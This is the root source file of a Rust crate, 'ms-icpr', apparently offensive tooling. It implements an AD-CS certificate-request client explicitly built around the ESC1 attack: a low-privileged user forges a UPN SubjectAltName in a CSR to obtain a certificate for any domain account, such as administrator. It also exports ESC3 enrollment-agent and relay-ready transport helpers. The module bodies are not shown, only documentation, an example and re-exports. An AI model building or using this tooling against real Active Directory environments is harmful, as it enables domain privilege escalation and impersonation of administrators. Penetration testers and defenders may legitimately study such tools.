ms_icpr/lib.rs
1//! ms-icpr — ICertPassage (MS-ICPR) / WCCE client with an ESC1 CSR-SAN
2//! injection primitive.
3//!
4//! # Purpose
5//!
6//! Submit certificate requests to an AD-CS Enterprise CA over RPC and retrieve
7//! the issued certificate. The offensive path this crate enables is ESC1:
8//! against an `enrollee-supplies-subject` template, a low-privileged user
9//! ships a CSR with a `SubjectAltName{otherName, userPrincipalName=...}`
10//! extension and the CA emits a client-auth certificate bound to any UPN in
11//! the domain (e.g. `administrator@corp.local`).
12//!
13//! # Status: 0.1.0-dev (pre-alpha)
14//!
15//! - `build_csr_with_upn_san` produces a valid, signed PKCS#10 CSR carrying
16//! the UPN otherName SAN. Offline-testable, round-trip-verified.
17//! - `IcprClient::submit_request` performs offline pre-flight checks
18//! (schema version, `min_ra_signatures`, CSR shape), NDR-marshals the
19//! `CertServerRequest` opnum-0 input stub, and hands it to the transport.
20//! With [`rpc::StubTransport`] you get [`Error::LiveDcOnly`] after
21//! preflight; with the default `network` feature you get
22//! [`IcprClient::connect`] which speaks SMB2 → sealed `\PIPE\cert` →
23//! `CertServerRequest` → decoded response.
24//! - Two BIND auth paths:
25//! * NTLMSSP sign+seal ([`IcprClient::connect`]) — end-to-end live.
26//! * Kerberos (GSS-KRB5, `RPC_C_AUTHN_GSS_KERBEROS`) —
27//! [`IcprClient::connect_kerberos`] does SMB2 `login_kerberos` + `IPC$`
28//! tree connect and produces a client whose BIND PDU carries the caller's
29//! `AP-REQ` (see [`kerberos::encode_kerberos_bind_pdu`]). The per-message
30//! RFC 4121 wrap for `CertServerRequest` sealed calls is not implemented
31//! yet — [`IcprClient::submit_request`] returns [`Error::LiveDcOnly`]
32//! with a Kerberos-sealing hint. Consumers wanting relay flows plug in
33//! their own transport via [`IcprTransport`] +
34//! [`rpc::encode_cert_server_request`] / [`rpc::decode_cert_server_response`].
35//!
36//! # Example
37//!
38//! ```no_run
39//! use ms_icpr::{build_csr_with_upn_san, IcprClient};
40//! # let key_pem: &[u8] = b"";
41//! # let template: ms_crtd::CertTemplate = unimplemented!();
42//! let csr = build_csr_with_upn_san("recon", "administrator@corp.local", key_pem)?;
43//! let mut client = IcprClient::stub("corp-CA");
44//! // On a live DC this would issue the cert. Offline: Err(LiveDcOnly).
45//! let _ = client.submit_request(&template, &csr);
46//! # Ok::<(), ms_icpr::Error>(())
47//! ```
48
49pub mod csr;
50pub mod der;
51pub mod error;
52pub mod esc3;
53pub mod kerberos;
54pub mod oids;
55pub mod rpc;
56
57pub use csr::{
58 build_csr_with_upn_san, build_csr_with_upn_san_and_ekus, parse_rsa_private_key_pem, EkuCarrier,
59};
60pub use error::{Error, Result};
61pub use esc3::{
62 build_cmc_pkidata, build_esc3_request, sign_pkidata_as_agent, OID_ENROLLMENT_AGENT_EKU,
63};
64pub use kerberos::{
65 encode_kerberos_auth3_pdu, encode_kerberos_bind_pdu, KrbTicket, ICPR_SYNTAX_UUID,
66 RPC_C_AUTHN_GSS_KERBEROS,
67};
68pub use rpc::{
69 decode_cert_server_response, encode_cert_server_request,
70 encode_cert_server_request_with_attribs, encode_cert_server_request_with_san,
71 CertServerResponse, IcprClient, IcprTransport, IssuedCert, StubTransport,
72 CERT_SERVER_REQUEST_OPNUM,
73};
74
75#[cfg(feature = "network")]
76pub use rpc::{KerberosTransport, NetworkTransport};